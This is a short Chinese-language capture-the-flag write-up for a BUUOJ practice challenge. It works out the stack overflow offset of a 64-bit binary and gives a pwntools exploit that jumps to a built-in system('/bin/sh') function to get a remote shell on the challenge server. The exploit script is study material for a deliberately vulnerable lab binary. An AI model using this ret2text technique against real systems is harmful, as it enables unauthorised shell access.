刷题记录,题目来源:https://buuoj.cn/
ret2text,提供了直接的getshell函数,控制执行流到该shell函数中即可
发现fun()
函数,内容为system("/bin/sh")
可以直接拿到shell
【偏移值为15加上8?已解决】
偏移值为0xF,加上64位机器的地址是8字节
db ? ; undefined db 8 dup(?) db: 定义字节类型变量的伪指令 dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定 ?: 只分配存储空间,不指定初值
参考:https://www.cnblogs.com/Jlay/p/pwn_wp1.html
from pwn import * context.arch = "amd64" #sh = process("./002-rip") sh = remote('node4.buuoj.cn', 28607) elf = ELF("./002-rip") system_addr = elf.symbols["fun"] payload = flat(cyclic(23), system_addr + 1) sh.send(payload) sh.interactive()
system_addr + 1
是为了堆栈平衡,【原理啥的】